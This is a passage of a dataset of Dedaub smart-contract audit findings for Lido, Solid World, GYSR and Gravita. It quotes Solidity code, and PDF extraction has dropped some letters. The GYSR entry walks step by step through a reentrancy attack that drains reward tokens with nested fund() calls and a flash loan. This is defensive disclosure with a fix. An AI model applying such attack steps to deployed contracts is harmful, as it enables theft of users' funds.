methods, and only then perform any state updating calls.", "labels": ["Dedaub", "Lido on Kusama,Polkadot Liquid Staking Delta", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Liquid Staking Delta Audit - Apr 2023.pdf", "body": "function name in ILidoUnbond RESOLVED ILidoUnbond contains a function setIsRedeemEnabled, while the method in LidoUnbond is called setIsRedeemDisabled. A3 Compiler known issues INFO The code is compiled with Solidity 0.8.0 or higher. For deployment, we recommend no floating pragmas, i.e., a specic version, to be condent about the baseline guarantees oered by the compiler. Version 0.8.0, in particular, has some known bugs, which we do not believe aect the correctness of the contracts.", "labels": ["Dedaub", "Lido on Kusama,Polkadot Liquid Staking Delta", "Severity: Informational"]}, {"title": "out of gas situation in RewardDistributor and DecollateralisationManager contract ", "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - Feb '23.pdf", "body": " DISMISSED The RewardsDistributor::getAllUnclaimedRewardAmountsForUserAndAsset() function performs a nested loop that iterates over all possible rewards for all amounts staked by a given user. Since both of these amounts are potentially unbounded, an out of gas error may eventually occur. //RewardsDistributor.sol::getAllUnclaimedRewardAmountsForUserAndAsset function getAllUnclaimedRewardAmountsForUserAndAssets( address[] calldata assets, address user external view override returns (address[] memory rewardsList, uint[] memory unclaimedAmounts) RewardsDataTypes.AssetStakedAmounts[] memory assetStakedAmounts = _getAssetStakedAmounts(assets,user); rewardsList = new address[](_rewardsList.length); unclaimedAmounts = new uint[](rewardsList.length); ) { for (uint i; i < assetStakedAmounts.length; i++) { for (uint r; r < rewardsList.length; r++) { rewardsList[r] = _rewardsList[r]; unclaimedAmounts[r] += _assetData[assetStakedAmounts[i].asset] .rewardDistribution[rewardsList[r]] .userReward[user] .accrued; if (assetStakedAmounts[i].userStake == 0) { continue; } unclaimedAmounts[r] += _computePendingRewardAmountForUser( user, rewardsList[r], assetStakedAmounts[i] ); } } return (rewardsList, unclaimedAmounts); } Similarly, the function getBatchesDecollateralisationInfo() of the contract DecollateralisationManager loops over all batchIds, the number of which could be unbounded. As already mentioned, this might eventually lead to an out of gas failure. //DecollateralisationManger.sol::getBatchesDecollateralisationInfo() function getBatchesDecollateralizationInfo( SolidWorldManagerStorage.Storage storage _storage, uint projectId, uint vintage external view returns (DomainDataTypes.TokenDecollateralizationInfo[] memory result) ) { DomainDataTypes.TokenDecollateralizationInfo[] memory allInfos = new DomainDataTypes.TokenDecollateralizationInfo[]( _storage.batchIds.length ); uint infoCount; for (uint i; i < _storage.batchIds.length; i++) { uint batchId = _storage.batchIds[i]; if ( _storage.batches[batchId].vintage != vintage || _storage.batches[batchId].projectId != projectId ) { continue; } (uint amountOut, uint minAmountIn, uint minCbtDaoCut) = _simulateDecollateralization( _storage, batchId, DECOLLATERALIZATION_SIMULATION_INPUT ); // Dedaub: part of the code is omitted for brevity infoCount = infoCount + 1; } result = new DomainDataTypes.TokenDecollateralizationInfo[](infoCount); for (uint i; i < infoCount; i++) { result[i] = allInfos[i]; } } This issue was discussed with the Solid World team, who estimated that the protocol will not use enough reward tokens, stakes or batchIds to cause it to run out of gas. 7 LOW SEVERITY: ID Descriptio ", "labels": ["Dedaub", "Solid World", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - Feb '23.pdf", "body": "use of the override modier in several contracts RESOLVED In several contracts (most of which have been forked from Aave), many functions are marked with the override modier when no such function is actually inherited by the parent contract. These are probably leftovers from the time (prior to Solidity 0.8.8) when the override keyword was mandatory when a contract was implementing a function from a parent interface EmissionManager congureAssets setRewardOracle setDistributionEnd setEmissionPerSecond updateCarbonRewardDistribution setClaimer setRewardsVault setEmissionManager setSolidStaking setEmissionAdmin setCarbonRewardsManager getRewardsController getEmissionAdmin getCarbonRewardsManager RewardsController getRewardsVault 1 getClaimer getRewardOracle congureAssets setRewardOracle setClaimer setRewardsVault setSolidStaking handleUserStakeChange claimAllRewards claimAllRewardsOnBehalf claimAllRewardsToSelf RewardsDistributor getRewardDistributor getDistributionEnd getRewardsByAsset getAllRewards getUserIndex getAccruedRewardAmountForUser getUnclaimedRewardAmountForUserAndAssets setDistributionEnd setEmissionPerSecond updateCarbonRewardDistribution SolidStaking addToken stake withdraw withdrawStakeAndClaimRewards balanceOf totalStaked getTokensDistributor::getAllUnclaimedReward Resolved in commit 1ad958b6f0d74507c038bd49da281a572e170907. 1", "labels": ["Dedaub", "Solid World", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - Feb '23.pdf", "body": "events could incorporate additional information INFO Creation events, CategoryCreated, ProjectCreated, BatchCreated, could include more information related to the category, project or batch associated with them.", "labels": ["Dedaub", "Solid World", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - Feb '23.pdf", "body": "related gas optimization RESOLVED The elds of DomainDataTypes::Category struct can be reordered to be tighter packed in 4 instead of 5 storage slots. // DomainDataTypes.sol::Category struct Category { uint volumeCoefficient; uint40 decayPerSecond; uint16 maxDepreciation; uint24 averageTA; uint totalCollateralized; uint32 lastCollateralizationTimestamp; uint lastCollateralizationMomentum; } // Dedaub: tighter packed version struct Category { uint volumeCoefficient; uint40 decayPerSecond; uint16 maxDepreciation; uint24 averageTA; uint32 lastCollateralizationTimestamp; uint totalCollateralized; uint lastCollateralizationMomentum; } We measured that in certain test cases the use of less SLOAD and STORE instructions reduced the gas consumption by around 1.5-2% and did not cause any regression in 1 terms of gas consumption (and of course correctness). Resolved in commit b3e79c2456ecca913be0165fd49992eba8e6e1. A4 Compiler version and possible bugs RESOLVED The code is compiled with the floating pragma ^0.8.16. It is recommended that the pragma is xed to a specic version. Versions ^0.8.16 of Solidity in particular, have some known bugs, which we do not believe aect the correctness of the contracts. Resolved in commit d68cfaf512d5eb8da646780350713d6c98ad7da2. 1", "labels": ["Dedaub", "Solid World", "Severity: Informational"]}, {"title": "shares can be drained by the controller devalued via a reentrancy aack ", "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", "body": " RESOLVED This vulnerability arises from two separate issues in dierent parts of the code: 1. The TokenUtils::receiveAmount/receiveWithFee functions compute the amount of received tokens as the dierence in balance before and after the transfer. TokenUtils::receiveAmount() function receiveAmount( IERC20 token, uint256 shares, address sender, uint256 amount ) internal returns (uint256) { // transfer uint256 total = token.balanceOf(address(this)); token.safeTransferFrom(sender, address(this), amount); uint256 actual = token.balanceOf(address(this)) - total; // mint shares at current rate uint256 minted = (total > 0) ? (shares * actual) / total : actual * INITIAL_SHARES_PER_TOKEN; require(minted > 0); return minted; } The goal is to support dierent types of tokens (e.g. tokens with transfer fees). This approach, however, introduces a possible aack vector: the code could miscalculate the amount of tokens transferred if some other action is executed in between the two balance readings. Note that token.safeTransferFrom() is an external call outside our control. As such, we cannot exclude the possibility that it returns execution to the adversary (e.g. via a transfer hook). 2. The fund() function, of all reward modules, has no reentrancy guards (likely due to the fact that funding sounds \"harmless\"; we send tokens to the contract without geing anything back). The possible aack: We assume a malicious controller that creates a pool with ERC20FixedRewardModule (for simplicity). His goal is to receive the benets of staking but without giving any rewards back. The reward token used in the pool is a legitimate trusted token. We only assume that it has some ERC777-type transfer hook (or any mechanism to notify the sender when a transferFrom happens). 1. The adversary funds the reward module and waits until several users have staked tokens (giving them rights to reward tokens). 2. He then initiates a number of k nested calls to ERC20FixedRewardModule::fund as follows: ERC20FixedRewardModule::fund() function fund(uint256 amount) external { require(amount > 0, \"xrm4\"); (address receiver, uint256 feeRate) = _config.getAddressUint96( keccak256(\"gysr.core.fixed.fund.fee\")); uint256 minted = _token.receiveWithFee( rewards, msg.sender, amount, receiver, feeRate ); rewards += minted; emit RewardsFunded(address(_token), amount, minted, block.timestamp); } a. He calls fund() with an innitesimal amount (say 1 wei). fund calls receiveWithFee which registers the initial total = balanceOf(this) and calls token.safeTransferFrom. TokenUtils::receiveWithFee() function receiveWithFee(...) internal returns (uint256) { uint256 total = token.balanceOf(address(this)); uint256 fee; if (feeReceiver != address(0) && feeRate > 0 && feeRate < 1e18) { fee = (amount * feeRate) / 1e18; token.safeTransferFrom(sender, feeReceiver, fee); } token.safeTransferFrom(sender, address(this), amount - fee); uint256 actual = token.balanceOf(address(this)) - total; uint256 minted = (total > 0) ? (shares * actual) / total : actual * INITIAL_SHARES_PER_TOKEN; require(minted > 0); return minted; } b. The laer passes control to the adversary (via a send hook), which makes a nested call to fund, again with amount = 1 wei. Which again leads to a new token.safeTransferFrom. c. The process continues until the k-th call, which is now made with a larger amount = N. The adversary stops making nested calls so the previous calls nish their execution starting from the most nested one. d. The last (k-th) call computes actual as the dierence between the two balances which will be equal to N tokens. This causes rewards to be incremented by the corresponding amount of shares (= (rewards * N) / total). e. Now execution returns to the (k-1)-th call, for which the actual transferred amount was just 1 wei. However, the dierence of balances includes the nested k-th call, so actual will be found to be N (not 1 wei), causing rewards to be incremented again by the same amount of shares. f. The same happens with all outer calls, causing rewards to be incremented by k times more shares than they should! 3. The previous step essentially devalued each reward share, since we printed k times more shares than we should have. Note that the controller can withdraw all funds except those corresponding to the shares in debt. But these now are worth less, so the adversary can withdraw more reward tokens than he should. By picking k to be as large as the stack allows, and a large value of N (possibly using a flash loan), the controller can drain almost all reward tokens from the pool, leaving users with no rewards. Note that the other reward modules are also likely vulnerable since they all call receiveWithFee and have no reentrancy guard. To prevent this vulnerability reentrancy guards should be added to all fund methods. Moreover, TokenUtils::receiveAmount could check that the actual transferred amount is no larger than the expected one. This check would still support tokens with transfer fees, but would catch aacks like the one reported here. Resolution: This vulnerability was xed by addressing both issues that enabled it. Specically: A check was added in TokenUtils::receiveAmount to ensure that the transferred amount is no larger than the expected one Reentrancy guards were added to the fund function HIGH SEVERITY: [No high severity issues] MEDIUM SEVERITY: ", "labels": ["Dedaub", "GYSR - Mar '23", "Severity: Critical"]}, {"title": "use of the factory contracts is only enforced o-chain WONT FIX The proper way to deploy a pool and its modules is via the factory contracts. These contracts ensure that the pool is initialized with proper values that prevent a potentially malicious controller from stealing the investors funds. However, the use of factory contracts is only checked o-chain. PoolFactory keeps a list of contracts it created, and this list presumably is used by the GYSR UI to allow users to interact only with oicially created contracts. On the other hand, anyone could still create their own Pool contracts and manually initialize in any way. Such contracts would have identical source code as the legitimate ones, and it would be hard to recognize them. They would also be clearly unsafe: by using malicious staking and reward modules, or even a fake GYSR token, an adversary could easily steal all the funds deposited by investors. Although the o-chain checks would ensure that no user actually interacts with such contracts, such checks are inherently less reliable than on-chain ones. It would be preferable to ensure that contracts with bytecode identical to the oicial ones can never be improperly initialized, for instance by allowing their constructor to be called by a factory contract. Resolution: This issue largely concerns o-chain aspects and cannot be fully addressed on-chain. As a consequence, it will be addressed by adding clear documentation explaining how to verify the validity of a deployed contract. Unstaking in ERC20FixedRewardModule is inconsistent RESOLVED under dierent use cases M2 The ERC20FixedRewardModule was updated as part of the PR #38 mentioned in the ABSTRACT section. The fundamental functions for the users are stake, unstake and claim. When a user stakes, the pos.debt eld holds their potential rewards if they stake for the entire predened period. However, a user can always claim their rewards for the amount already vested. Here are two scenarios of the same logic that are treated dierently: Case #1: The rst case assumes that the users will not stake more than once. This happens when this reward module is combined with the ERC20BondStaking module since users cant stake twice with a bond. However, if they unstake early, for recovering the remaining principal, their rewards earning ratio should also be reduced. In order for the reward module to achieve this, it treats the user shares as if they were vesting all together. So, when user unstakes early only a percentage of all user shares have vested resulting in losing portion of the earning power as indented. Case #2: The second case is when users can stake more than once. This can happen when this module is combined with other staking modules like ERC20StakingModule for example. Then, when a user stakes again, the function calculates the rewards earned up to that point, updates their records and rolls over the remaining (unvested) amount with the newly added one to start vesting from that point forward. This approach treats the user shares as if they were vesting linearly and not all together which means that the user wont lose his earning power. A detailed example illustrating the inconsistency between the 2 cases is provided in the APPENDIX of this report. 1 Resolution: This issue was addressed by modifying the staking logic to remove the inconsistency. LOW SEVERITY: ID Description ", "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", "body": " L1 Approximation errors in ERC20BondStakingModule RESOLVED ERC20BondStakingModule needs to perform vesting and debt decay on multiple amounts which however have dierent vesting/decay periods. To perform this operation in O(1) an approximation method is used, where vesting/decay happens for the whole amount simultaneously, and the period is essentially restarted in every update. This method necessarily introduces an approximation error. If multiple updates happen the resulting values could be substantially lower than the actual ones. What is particularly problematic is that such delays can be produced by events that do not add new value to the system. For instance, vesting a large amount could be substantially delayed by staking (maliciously or coincidentally) small amounts. With just 5 updates the amount vested at the end of the period will be only 67% of the total. Note that there is also an \"opposite extreme\" strategy: instead of restarting the period on every update, we could choose to never restart until the current amount is fully vested. Of course, this method also introduces an error. If the newly deposited amounts are large, delaying them might introduce a larger error than restarting the period. So we propose to follow a hybrid approach, alternating between the two extremes: keep a pending amount whose vesting has not started yet, and will start no later than 1 at the end of the current period, but possibly earlier if it's preferable. When a new amount arrives, we will compute how much error will be introduced by starting a new vesting period, and how much error will be introduced if we delay the new amount, and we'll choose the approach of the smallest error. This report is accompanied by a Jupyter notebook with a discussion of this method, a prototype implementation and some simulations. The proposed method has the following properties: It needs O(1) time and is only marginally more complicated than the simple method. It is guaranteed to vest at least as much as the simple method, and never more than the maximum amount. In order to introduce vesting delays one needs to add new funds to the system, larger than the ones currently being vested. Resolution: This issue was addressed by an improved logic that resets the time period only on stake operations, improving the accuracy while simplifying the code. OTHER / ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", "labels": ["Dedaub", "GYSR - Mar '23", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", "body": "is not correctly overridden in ERC20BondStakingModule RESOLVED The ERC20BondStakingModule contract overrides the ERC721::_beforeTokenTransfer() hook. However, the overridden hook hasnt the same signature as the original one causing the compilation to fail. The missing part is the 4th argument which should have been another uint256. ERC721::_beforeTokenTransfer() function _beforeTokenTransfer( address from, address to, uint256, /* firstTokenId */ uint256 batchSize ) internal virtual { if (batchSize > 1) { if (from != address(0)) { _balances[from] -= batchSize; } if (to != address(0)) { _balances[to] += batchSize; } } } ERC20BondStakingModule::_beforeTokenTransfer() function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { if (from != address(0)) _remove(from, tokenId); if (to != address(0)) _append(to, tokenId); } 1", "labels": ["Dedaub", "GYSR - Mar '23", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", "body": "tests RESOLVED There are some cases in the test scripts that fail due to the grammar changes that OZ introduced at commit fbf235661e01e27275302302b86271a8ec136fea. They updated the revert messages of the approve(), transferFrom() and safeTransferFrom() functions from: ERC721: caller is not token owner nor approved to: ERC721: caller is not token owner or approved However, the tests haven't been updated to reflect the new changes, so they fail. The aected tests are the following: aquarium.js LoC:113 - when token transfer has not been approved erc20bondstakingmodule.js LoC: 1680 - when user transfers a bond position they do not own LoC: 1689 - when user safe transfers a bond position they do not own LoC: 1699 - when user transfers a bond position that they already transferred", "labels": ["Dedaub", "GYSR - Mar '23", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", "body": "gas optimization RESOLVED Since the protocol tries to minimize the gas consumption to the minimum possible, we suggest here a minor optimization in ERC20FixedRewardModule. The pos.updated value could be updated inside the if statement above instead of having to check again whether the period has ended or not. 1 ERC20FixedRewardModule::claim() function claim( bytes32 account, address, address receiver, uint256, bytes calldata ) external override onlyOwner returns (uint256, uint256) { ... if (block.timestamp > end) { e = d; } else { uint256 last = pos.updated; e = (d * (block.timestamp - last)) / (end - last); } ... // Dedaub: This update could be transferred to the above if statement // pos.updated = uint128(block.timestamp < end ? block.timestamp : end); ... for avoiding rechecking whether the period has ended }", "labels": ["Dedaub", "GYSR - Mar '23", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", "body": "comment in OwnerController RESOLVED The OwnerController contract provides functionality for the rest of the protocol contracts to manage their owners and their controllers. However, while the comments of the transferOwnership() function state that the owner can renounce ownership by transferring to address(0), this is not possible with the current code as it reverts when the newOwner address is 0. OwnerController::transferOwnership() /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * This can include renouncing ownership by transferring to the zero * address. Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual override { 1 requireOwner(); require(newOwner != address(0), \"oc3\"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } A5 Compiler bugs INFO The code is compiled with Solidity 0.8.18. Version 0.8.18, at the time of writing, has no known bugs. 1", "labels": ["Dedaub", "GYSR - Mar '23", "Severity: Informational"]}, {"title": "does not check if it is overwriting a previous queued oracle ", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": " RESOLVED (not applicable as of e4fbfc30) In PriceFeed::addOracle, the queuedOracles entry for the token is wrien without checking whether it is zero. This is only a problem in case the controller makes a mistake, but the presence of a deleteQueuedOracle function suggests that the right behavior for a controller would be to delete a queued oracle if its no longer valid. function addOracle(address _token, address _chainlinkOracle, bool _isEthIndexed) external override isController { AggregatorV3Interface newOracle = AggregatorV3Interface(_chainlinkOracle); _validateFeedResponse(newOracle); if (registeredOracles[_token].exists) { uint256 timelockRelease = block.timestamp.add(_getOracleUpdateTimelock()); queuedOracles[_token] = OracleRecord(newOracle, timelockRelease, true, true, _isEthIndexed); } else { registeredOracles[_token] = OracleRecord(newOracle, block.timestamp, true, emit NewOracleRegistered(_token, _chainlinkOracle, _isEthIndexed); true, _isEthIndexed); } } function deleteQueuedOracle(address _token) external override isController { delete queuedOracles[_token]; }", "labels": ["Dedaub", "Gravita", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "timelock for adding oracles can be circumvented by deleting the previous oracle RESOLVED (not applicable as of e4fbfc30) On the same code as issue L1, in the PriceFeed contract, the controller can always subvert the above timelock by just deleting the registered oracle. function deleteOracle(address _token) external override isController { delete registeredOracles[_token]; } Thus, the timelock can only prevent accidents in the controller, and not provide assurances of having a delay for review of changes to oracles.", "labels": ["Dedaub", "Gravita", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "series of liquidations can cause the zeroing of totalStakes ACKNOWLEDGED The stake of a Vessel holding _asset as collateral is computed by the formula in VesselManager::_computeNewStake : stake = _coll.mul(totalStakesSnapshot[_asset]).div(totalCollateralSnapshot[_asset]); The stake is updated when the Vessel is adjusted and _coll is the new collateral amount of the Vessel and totalStakesSnapshot, totalCollateralSnapshot the total stakes and total collateral respectively right after the last liquidation. A liquidation followed by a redistribution of the debt and collateral to the other Vessels decreases the total stakes (the stake of the liquidated Vessel is just deleted and not shared among the others) and the total collateral (if we ignore the fees) does not change. Therefore the ratio in the above formula is constantly decreasing after each liquidation followed by redistribution and each new Vessel will get a relatively smaller stake. The nite precision of the arithmetic operations can lead to a zeroing of totalStakes, if a series of liquidations of Vessels with high stakes occurs. If this happens, the total stakes will be zero forever and each new vessel will be assigned a zero stake. If this happens many functionalities of the protocol are blocked i.e. the VesselManager::redistributeDebtAndCollateral will revert every time, since the debt and collateral to distribute are computed dividing by the (zero) totalStakes. The probability of such a problem is higher in Gravita, compared to Liquity, because Gravita allows multiple collateral assets, some of them, in principle, more volatile compared to ETH.", "labels": ["Dedaub", "Gravita", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "could return arbitrarily stale prices, if Chainlink Oracles response is not valid RESOLVED (e4fbfc30) The protocol uses the PriceFeed::fetchPrice to get the price of a _token, whenever it needs to. This function rst calls the Chainlink oracle to get the price for this _token and then checks the validity of the response. If it is valid, it stores the answer in lastGoodPrice[_token] and also returns it to the caller. If the Chainlink response is not valid, then the function returns the value stored in lastGoodPrice[_token]. The problem is that this value could have been stored a long time ago and there is no check about this in the contract. As an edge case, if the Chainlink oracle does not give a valid answer, upon its rst call for a _token, then the PriceFeed::fetchPrice function will return a zero price. Liquity uses a secondary oracle, if the response of Chainlink is not valid, and only if both oracles fail, the stored last good price is being used, but in Gravita there is no secondary oracle. L5 AdminContract::sanitizeParameters has no access control RESOLVED (58a41195) The function sets important collateral data (to default values) yet has no access control, unlike, e.g., the almost-equivalent setAsDefault, which is onlyOwner. 1 Although there are many other safeguards that ensure that collateral is valid, we recommend tightening the access control for sanitizeParameters as well. function sanitizeParameters(address _collateral) external { if (!collateralParams[_collateral].hasCollateralConfigured) { _setAsDefault(_collateral); } } function setAsDefault(address _collateral) external onlyOwner { _setAsDefault(_collateral); } CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ", "labels": ["Dedaub", "Gravita", "Severity: Low"]}, {"title": "contracts can mint arbitrarily large amounts of debt tokens ", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": " INFO (acknowledged) The role of the whitelisted contracts is not completely clear to us. There is only one related comment in DebtToken.sol : // stores SC addresses that are allowed to mint/burn the token (AMO strategies,", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "mapping(address => bool) public whitelistedContracts; 1 These contracts can mint debt tokens without depositing any collateral calling DebtToken::mintFromWhitelistedContract. This could be a serious problem if such a contract was malicious. Also, even if these contracts work as expected, minting debt tokens without providing any collateral could have a serious impact on the price of the debt token. N2 Protocol owners can set crucial parameters INFO (acknowledged) Key functionality is trusted to the owner of various contracts. Owners can set the kinds of collateral accepted, the oracles that are used to price collateral, etc. Thus, protocol owners should be trusted by users. OTHER / ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", "labels": ["Dedaub", "Gravita", "Severity: Low"]}, {"title": "struct Vessel (IVesselManager.sol), asset is unnecessary ", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": " INFO Field asset of struct Vessel is currently unused. Vessel records are currently only used in a mapping that has the asset as the key, so there is no need to read the asset from the Vessel data. In FeeCollector::_decreaseDebt no need to check for", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "fees if the expiration time of the refunding is block.timestamp INFO 1 In the code below if (mRecord.to < NOW) { } _closeExpiredOrLiquidatedFeeRecord(_borrower, _asset, mRecord.amount); < can be replaced by <=, since when mRecord == NOW, there is nothing left for the user to refund.", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "event INFO The following event is declared in IAdminContract.sol but not used anywhere: event MaxBorrowingFeeChanged(uint256 oldMaxBorrowingFee, uint256 newMaxBorrowingFee);", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "storage variables INFO The storage mapping StabilityPool::pendingCollGains and code accessing it are unnecessary since the information is never set to non-zero values. // Mapping from user address => pending collaterals to claim still // Must always be sorted by whitelist to keep leftSumColls functionality mapping(address => Colls) pendingCollGains; ... function getDepositorGains(address _depositor) public view returns (address[] memory, uint256[] memory) { // Add pending gains to the current gains return ( collateralsFromNewGains, _leftSumColls( Colls(collateralsFromNewGains, amountsFromNewGains), pendingCollGains[_depositor].tokens, pendingCollGains[_depositor].amounts ) ); } ... function _sendGainsToDepositor( 1 address _to, address[] memory assets, uint256[] memory amounts ) internal { ... // Reset pendingCollGains since those were all sent to the borrower Colls memory tempPendingCollGains; pendingCollGains[_to] = tempPendingCollGains; } Also, StabilityPool::controller is unused and never set: IAdminContract public controller; Finally, variables activePool, defaultPool in GravitaBase seem unused and not set (at least for most subcontracts of GravitaBase). IActivePool public activePool; IDefaultPool internal defaultPool;", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "is really just a transfer INFO In StabilityPool::_sendGainsToDepositor, it is not clear why the transferFrom is not merely a transfer. function _sendGainsToDepositor( address _to, address[] memory assets, uint256[] memory amounts ) internal { for (uint256 i = 0; i < assetsLen; ++i) { IERC20Upgradeable(asset).safeTransferFrom(address(this), _to, amount); } } 1", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "with more than 18 decimals are not supported INFO Tokens with more than 18 decimals are not supported, based on the SafetyTransfer library (outside the audit scope). function decimalsCorrection(address _token, uint256 _amount) internal view returns (uint256) if (_token == address(0)) return _amount; if (_amount == 0) return 0; uint8 decimals = ERC20Decimals(_token).decimals(); if (decimals < 18) { return _amount.div(10**(18 - decimals)); } return _amount; // Dedaub: more than 18 not supported correctly! { } We do not recommend trying to address this, as it may introduce other complexities for very lile practical benet. Instead, we recommend just being aware of the limitation.", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "statement (consisting of a mere expression) INFO In BorrowingOperations::openVessel, the following expression (used as a statement!) is a no-op: vars.debtTokenFee;", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "external function, not called as expected INFO 1 BorrowerOperations::moveLiquidatedAssetToVessel appears to not be used in the protocol. // Send collateral to a vessel. Called by only the Stability Pool. function moveLiquidatedAssetToVessel( address _asset, uint256 _amountMoved, address _borrower, address _upperHint, address _lowerHint ) external override { _requireCallerIsStabilityPool(); _adjustVessel(_asset, _amountMoved, _borrower, 0, 0, false, _upperHint, _lowerHint); }", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "isInitialized flags INFO The following paern over storage variable isInitialized appears in several contracts but should be entirely unnecessary, due to the presence of the initializer modier. bool public isInitialized; function setAddresses(...) external initializer { require(!isInitialized); isInitialized = true; } Contracts with the paern include FeeCollector, PriceFeed, ActivePool, CollSurplusPool, DefaultPool, SortedVessels, StabilityPool, VesselManager, VesselManagerOperations, CommunityIssuance, GRVTStaking.", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "INFO 1 The codebase exhibits some old code paerns (which we do not recommend xing, since they directly mimick the Liquity trusted code): The use of assert for condition checking (instead of require/ifrevert). (Some of the asserts have been replaced, but not all.) The use of SafeMath instead of relying on Solidity 0.8.* checks.", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "and error-prone use of this.* INFO Some same-contract function calls are made with the paern this.func(), which causes a new internal transaction and changes the msg.sender. This should be avoided for clarity and (gas) performance. In VesselManager: function isVesselActive(address _asset, address _borrower) public view override returns (bool) { return this.getVesselStatus(_asset, _borrower) == uint256(Status.active); } In PriceFeed (and also note the unusual convention of 0 = ETH): function _calcEthPrice(uint256 ethAmount) internal returns (uint256) { uint256 ethPrice = this.fetchPrice(address(0)); // Dedaub: Also, why the convention that 0 = ETH? return ethPrice.mul(ethAmount).div(1 ether); } function _fetchNativeWstETHPrice() internal returns (uint256 price) { uint256 wstEthToStEthValue = _getWstETH_StETHValue(); OracleRecord storage stEth_UsdOracle = registeredOracles[stethToken]; price = stEth_UsdOracle.exists ? this.fetchPrice(stethToken) : _calcEthPrice(wstEthToStEthValue); _storePrice(wstethToken, price); } 1 Compatibility of PriceFeed::_fetchPrevFeedResponse,", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "with future versions of the Chainlink INFO Aggregator The roundId returned by the Chainlink AggregatorProxy contract is a uint80.The 16 most important bits keep the phaseId (incremented every time the underlying aggregator is updated) and the other 64 bits keep the roundId of the aggregator. As long as the underlying aggregator is the same, the roundId returned by the proxy will increase by one in each new round, but in an update of the aggregator contract the proxy roundId will increment not by 1, since the phaseId will also change. In this case the previous round is not current_roundId-1 and _fetchPrevFeedResponse will not return the price data from the previous round (which was a round of the previous aggregator). We mention this issue, although the probability that the protocol fetches a price at the time of an update of a Chainlink oracle is relatively small and each round lasts a few minutes to an hour. PriceFeed::_isValidResponse does all the validity checks necessary for the current Chainlink Aggregator version. Chaninlinks AggregatorProxy::latestRoundData returns also two extra values uint256 startedAt, uint80 answeredInRound, which, for the current version, do not hold extra information i.e. answeredInRound==roundId, but in past and possible future versions they could be used for some extra validity checks i.e. answeredInRound>=roundId.", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": 